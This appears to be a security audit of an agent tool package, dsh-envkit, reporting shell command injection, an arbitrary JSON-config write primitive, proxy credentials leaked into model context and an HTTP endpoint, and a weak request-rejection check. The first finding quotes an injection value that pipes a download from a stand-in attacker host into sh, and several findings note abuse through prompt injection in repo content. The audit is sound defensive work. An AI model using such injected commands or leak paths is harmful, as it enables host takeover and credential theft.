@Caoran1314/dsh-envkit

repoDir, remote, branch and sshKey arrive as tool arguments from the model caller and are concatenated into command strings that are later executed with spawnSync('sh', ['-c', cmd]) (line 269) or cmd.exe /c (line 268) whenever dryRun is false. A value such as a path containing " ; curl http://attacker/x | sh ; # breaks out of the quoting and runs arbitrary commands with the DSH host's privileges. dryRun defaults to true, so exploitation needs one call with dryRun:false — trivially reachable for an agent, including via prompt injection in repo content.

The tool accepts an arbitrary absolute path plus a set of dot-paths and arbitrary JSON values, and atomically replaces the file (the only precondition is that it currently parses as JSON). This is a generic write primitive over every JSON config on the machine — including DSH profile package.json (dsh.profile.bundles / dependencies), editor and npm settings — usable to persist configuration changes or disable security-relevant settings. The backup copy is best-effort and does not prevent the write.

HTTP_PROXY/HTTPS_PROXY values are commonly of the form http://user:password@proxy:8080. envProbe returns the key/value map verbatim, so proxy credentials are copied into the agent's tool result (model context) and into the /envkit/probe HTTP response. The tool description only promises '代理环境变量', giving no indication that secret values are exposed, which turns a diagnostic feature into an undisclosed credential exfiltration channel (e.g. via prompt injection).

The route wrapper only rejects a request when the connection service exposes requestRejection; if that service is missing or shaped differently, rejected() returns false and the handler proceeds. /envkit/probe then performs outbound fetches, a child-process spawn and returns proxy env, writable paths and platform info to any client that can reach the web server; /envkit/inspect discloses installed profile names and dependency lists. inject declares 'connection', so this is a degradation path rather than the normal case, hence low.